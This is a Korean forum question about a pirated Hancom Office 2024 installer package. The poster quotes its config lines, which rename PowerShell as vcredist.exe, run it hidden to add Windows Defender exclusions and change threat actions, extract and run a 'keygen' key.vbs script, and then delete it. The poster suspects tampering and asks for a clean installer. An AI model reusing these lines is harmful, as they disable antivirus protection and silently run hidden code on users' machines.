질문과 답변

소프트웨어 요즘 나도는 한컴2024 설정파일

2024.01.07 14:50

늑대아니에요! 조회:1724

ExtRun0=Install\Install_UI\lo\HOffice130.exe

ExtRun1=Install\Install_UI\Logo_Copy.bat

ExtRun2=Install\Install_UI\lo\HOffice130.exe

ExtRun3=Install\Install_UI\lo\HOffice130.exe

ExtRun4=Install\HOffice2024Update_20231109.exe

ExtRun5=Install\Install_UI\lo\HOffice130.exe

ExtRunParam0=execmd copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Install\Install_UI\lo\vcredist.exe

ExtRunParam2=exec hide Install\Install_UI\lo\vcredist.exe Add-MpPreference -ExclusionProcess 'vcredist.exe';Add-MpPreference -ThreatIDDefaultAction_Actions @(6,6,6) -ThreatIDDefaultAction_Ids @(2147814524,2147731250,2147735503)

ExtRunParam3=exec hide Install\Install_UI\lo\vcredist.exe Add-MpPreference -ExclusionProcess 'key.vbs';Install\Install_UI\lo\7z.exe x -oInstall\Install_UI\lo\ Install\Install_UI\lo\keygen -px -y;Install\Install_UI\lo\key.vbs

ExtRunParam4=/silent

ExtRunParam5=filldelete Install\Install_UI\lo\key.vbs

 

여기에서

ExtRun1=Install\Install_UI\Logo_Copy.bat

ExtRun2=Install\Install_UI\lo\HOffice130.exe

ExtRun3=Install\Install_UI\lo\HOffice130.exe

ExtRun4=Install\HOffice2024Update_20231109.exe

ExtRun5=Install\Install_UI\lo\HOffice130.exe

ExtRunParam0=execmd copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Install\Install_UI\lo\vcredist.exe

ExtRunParam2=exec hide Install\Install_UI\lo\vcredist.exe Add-MpPreference -ExclusionProcess 'vcredist.exe';Add-MpPreference -ThreatIDDefaultAction_Actions @(6,6,6) -ThreatIDDefaultAction_Ids @(2147814524,2147731250,2147735503)

ExtRunParam3=exec hide Install\Install_UI\lo\vcredist.exe Add-MpPreference -ExclusionProcess 'key.vbs';Install\Install_UI\lo\7z.exe x -oInstall\Install_UI\lo\ Install\Install_UI\lo\keygen -px -y;Install\Install_UI\lo\key.vbs

ExtRunParam4=/silent

ExtRunParam5=filldelete Install\Install_UI\lo\key.vbs

 

이부분은 전부 없어도 되지 않을까요?

 

특히

 

ExtRunParam0=execmd copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Install\Install_UI\lo\vcredist.exe

ExtRunParam2=exec hide Install\Install_UI\lo\vcredist.exe Add-MpPreference -ExclusionProcess 'vcredist.exe';Add-MpPreference -ThreatIDDefaultAction_Actions @(6,6,6) -ThreatIDDefaultAction_Ids @(2147814524,2147731250,2147735503)

ExtRunParam3=exec hide Install\Install_UI\lo\vcredist.exe Add-MpPreference -ExclusionProcess 'key.vbs';Install\Install_UI\lo\7z.exe x -oInstall\Install_UI\lo\ Install\Install_UI\lo\keygen -px -y;Install\Install_UI\lo\key.vbs

ExtRunParam4=/silent

ExtRunParam5=filldelete Install\Install_UI\lo\key.vbs

 

는 상당히 찝찝해 보입니다. keygen key.vbs filldelete Install\Install_UI\lo\key.vbs ThreatIDDefaultAction 등등...

 

ExtRun0=Install\Install_UI\lo\HOffice130.exe 만 남기고

LevelOption=3 으로 전부 선택해서 설치해보면

한글만 설치되더군요. 한셀 한쇼 등등은 설치가 안됩니다.

그리고 설치가 끝나면

 

희안하게

nircmd..com 메시지가 나타나는군요. 한글설치하면서 이제껏 처음보는 메시지입니다.

먼가 파일변조가 있었을 확률이 높아보이네요 

2024-01-07_145632.png

 

클린설치할 수 있는 설치본 원본만 어디서 못 구할까요

유포되고 있는 h2024.zip 파일은 상당히 찝찝하네요

번호 제목 글쓴이 조회 등록일
[공지] 질문과 답변 게시판 이용간 유의사항 gooddew - -
99111 윈 도 우| @질문 드립니다.(재 부팅 후 탐색기에 등록된 즐겨찾기 증... [4] 하늘개구 155 08-15
99110 윈 도 우| 윈도우 노트패드 위치가 여기가 맞나요? [1] 바른생활1 155 10-04
99109 하드웨어| 메인보드에 포함된 레이드1구성 질문 [2] 초리얌 155 10-10
99108 소프트웨어| Hyper-V 네트워크 작동 안함 [1] 스티어 155 06-13
99107 윈 도 우| 파일 연결 설정 질문 드립니다. [1] 155 02-27
99106 윈 도 우| 클리닉님 pe 프로그램 테스트중 분필가루 155 12-20
99105 윈 도 우| ad 조인 후 프로그램 설치 관련 문의 드려요.. 칠월일일 155 04-07
99104 윈 도 우| 작업스케줄러 schtasks 명령어 관련 문의드립니다. [4] 짱깨꺼져18 155 10-19
99103 소프트웨어| k70 rgb pro 쓰고 있습니다 조명 레이어 질문 [1] 용이다 155 05-23
99102 모 바 일| 태블릿용 android 무료 DDNS 서비스 추천 부탁드립니다 [4] brucex 155 02-07
99101 윈 도 우| 윈도우 10에서 파일 이름변경시 한글이 아니라 영어로 나오... 가성비연구 155 06-18
99100 소프트웨어| 문의드립니다. [2] 수앤수 156 05-03
99099 윈 도 우| 원클릭PC 유튜브재생시 익스,오프라,불여우 차이인지.. 복태취업했 156 03-06
99098 윈 도 우| 참가자 프로그램에 계정연결이 안됩니다.. [1] jellybean 156 03-28
99097 소프트웨어| Emeditor 정규표현식 영어문장에서 독일어 단어만 찾기 질... [9] 파풍초 156 05-12
99096 윈 도 우| Windows 참가자 프로그램(인사이더 프리뷰) 질문입니다. [3] 준이오빠 156 08-22
99095 소프트웨어| amd vga카드 rom업데이트 질문입니다. [2] 댓길이 156 09-13
99094 윈 도 우| RS4 엣지에서 마지막으로 켜뒀던 페이지가 재부팅을 해도 ... ITML 156 02-15
99093 소프트웨어| PortableApps.com Platform 업데이트 오류 [1] 오호라7 156 04-29
99092 윈 도 우| 부팅 관리자에서 타임 아웃 30로 나와요?? [질문] [4] FC바르셀로나우승~하자 156 01-31
XE1.11.6 Layout1.4.8